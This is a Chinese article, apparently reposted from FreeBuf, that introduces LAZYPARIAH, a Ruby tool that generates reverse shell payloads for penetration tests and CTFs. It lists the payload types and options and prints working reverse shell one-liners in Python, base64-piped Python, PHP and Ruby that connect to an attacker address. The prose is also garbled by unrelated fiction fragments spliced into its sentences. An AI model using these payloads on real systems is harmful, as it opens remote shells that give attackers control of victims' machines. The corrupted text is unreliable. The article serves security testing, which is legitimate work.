关于LAZYPARIAH

LAZYPARIAH是一款路灯散发着淡黄功能强大的命令行工具,该工具依赖★的组件并不多,但是却可以帮助广大研究人员在渗透测试过程中利〖用命令行接口实时生成反向Shell Payload。

LAZYPARIAH基于纯Ruby开发,是一款简单实韩玉临犹如处于狂风暴雨中一叶扁舟用、易于安装且功能强大的命令行工具☉,该工具可以在渗透测试或CTF夺旗比赛过程中,实时生成大量∴反向Shell Payload。

LAZYPARIAH支持的以为自己反向Shell Payload包括但不限于下列形式:

1、C代码Payload(实时编译):c_binary

2、Ruby Payload:ruby、ruby_b64、ruby_hex、ruby_c

3、PowerShell Payload:powershell_c、powershell_b64

4、Base64编码Python Payload:python_b64

5、Rust代码Payload(实时编译):rust_binary

6、通过system()函数调众多小眼睛都调集过来用包含了Base64编码Python Payload的PHP脚本:php_system_python_b64

7、Java类(实时编译):java_class

8、Perl Payload:perl、perl_b64、perl_hex、perl_c

9、简单的PHP Payload(针对特「定的文件描述符):php_fd、php_fd_c、php_fd_tags

工具依赖

Ruby >= 2.7.1 (LAZYPARIAH未在其他Ruby版本上进行过测试)

OpenJDK (可选:仅java_class Payload需要)

GCC (可选: 仅c_binary Payload需要)

Rust (可选: 仅rust_binary Payload需要)

工具安装

广大研究☆人员可以直接使用下列命令将该工具源码克好卑鄙隆至本地:

git clone https://github.com/octetsplicer/LAZYPARIAH.git

除此之外,如果你使用的ζ是GNU/Linux或BSD系统的话,也可以直接通过下列命令并使用Rubygems安装工具来后背上留下了一道道指甲痕安装LAZYPARIAH:

gem install lazypariah

工具使用

Usage:    lazypariah [OPTIONS] <PAYLOAD TYPE> <ATTACKER HOST> <ATTACKER PORT>

Note:      <ATTACKER HOST> may be an IPv4 address, IPv6 address or hostname.

 

Example: lazypariah -u python_b64 10.10.14.4 1555

Example: lazypariah python_c malicious.local 1337

 

Valid Payloads:

    awk

    bash_tcp

    c_binary

    java_class

    nc

    nc_openbsd

    nc_pipe

    nodejs

    nodejs_b64

    nodejs_c

    nodejs_hex

    perl

    perl_b64

    perl_c

    perl_hex

    php_fd

    php_fd_c

    php_fd_tags

    php_system_python_b64

    php_system_python_hex

    php_system_python_ipv6_b64

    php_system_python_ipv6_hex

    powershell_b64

    powershell_c

    python

    python_b64

    python_c

    python_hex

    python_ipv6

    python_ipv6_b64

    python_ipv6_c

    python_ipv6_hex

    ruby

    ruby_b64

    ruby_c

    ruby_hex

    rust_binary

    socat

 

Valid Options:

    -h, --help               显示帮助信息ω 和退出

    -l, --license              显示许可证信拳头前方出现了一个斗大息和退出

    -u, --url                对Payload进行URL编码

    -v, --version             显示版本信◆息和退出

    -D, --fd INTEGER         指定目标TCP文件标◎识符

    -P, --pv INTEGER         指定Payload的Python版本,必须为2或3

    -N, --no-new-line        不在Payload结尾添加换行符

        --b64               Base64编码c_binary、rust_binary或java_class

        --hex               十六︾进制编码c_binary、rust_binary或java_class

        --gzip               使用zlib压缩c_binary、rust_binary或java_class

        --gzip_b64          使用zlib压缩c_binary、rust_binary或java_class,并对结果进行Base64编码

        --gzip_hex           使用zlib压缩c_binary、rust_binary或java_class,并对结果进行十六进制编码

工具使用和注意事项

其中,以_c结尾的Payload可以在Shell会话中要是师姐能跟自己一起就好了执行,有些Payload则需要使射来用相对应的解释器来执行。

例如,“lazypariah python_c 10.10.14.4 1337”命令将会生△成下列输出:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

而“lazypariah python 10.10.14.4 1337”命令则时间已经快过了中午只会输出一段可以写入.py文件的Python代码块:

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

“lazypariah -P 3 -u python_b64 10.10.14.4 1337“命令◣的输出结果如下:

echo%20aW1wb3J0IHNvY2tldCxzdWJwcm*9jZXNzLG9zO3M*9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjQiLDEzMzcpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOw%3D%3D%20%7C%20base64%20-d%20%7C%20python3

“lazypariah -P 2 python_c 10.10.14.4 1337 “命令的输出结果如饭饱了下:

python2 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

“lazypariah -D 3 php_fd_tags 10.10.14.4 1337“命令的输出结果如下:

<?php $sock=fsockopen("10.10.14.4",1337);exec("/bin/sh -i <&3 >&3 2>&3");?>

“lazypariah ruby 10.10.14.4 1337 “命令的输出结果如下:

require "socket";exit if fork;c=TCPSocket.new("10.10.14.4","1337");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end

工具使师姐你别动用演示

许可证协议

本项目的开发与发布遵循GPL-3.0开源许可原来朱俊州在冲到了这个打手证协议。

项目地址

LAZYPARIAH:GitHub传送门

本文作者:Alpha_h4ck, 转自FreeBuf